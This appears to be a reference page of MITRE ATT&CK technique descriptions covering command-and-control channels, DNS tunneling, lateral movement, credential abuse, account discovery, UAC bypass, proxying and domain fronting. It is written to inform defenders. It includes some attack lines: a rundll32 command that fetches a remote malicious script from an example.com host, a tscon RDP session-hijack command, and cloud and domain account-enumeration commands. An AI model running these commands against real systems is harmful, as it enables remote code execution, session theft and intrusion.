ATT&CK explorer

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28)

Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) DNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.

Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as <code>MQTT</code>, <code>XMPP</code>, <code>AMQP</code>, and <code>STOMP</code> use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.

Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. SaaS-based configuration management services may allow for broad Cloud Administration Command on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize Web Protocols to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan) Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation) The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014) Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.(Citation: Mandiant M-Trends 2020) Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)

Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.(Citation: Mandiant M-Trends 2020) By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.

Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware) Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares) The Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) Default accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.(Citation: Metasploit SSH Module) Default accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) Service or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices. An adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. Cloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to Steal Application Access Tokens to move laterally across the cloud environment.(Citation: SpecterOps Managed Identity 2022)

An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot) Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis) Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A) Some files and directories may require elevated or specific user permissions to access.

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. Administrator permissions are required to use PowerShell to connect to remote systems. A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack) PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts). Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. Commands such as <code>net user</code> and <code>net localgroup</code> of the Net utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges. Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the Net utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. PowerShell cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)

Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) In on-premises Exchange and Exchange Online, the <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)

Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.

Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.

Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.(Citation: ORB Mandiant) In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)

Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)

Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing Application Layer Protocol. Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications. In ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host’s backdoor, regardless of network segmentation or firewall rules in place.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)

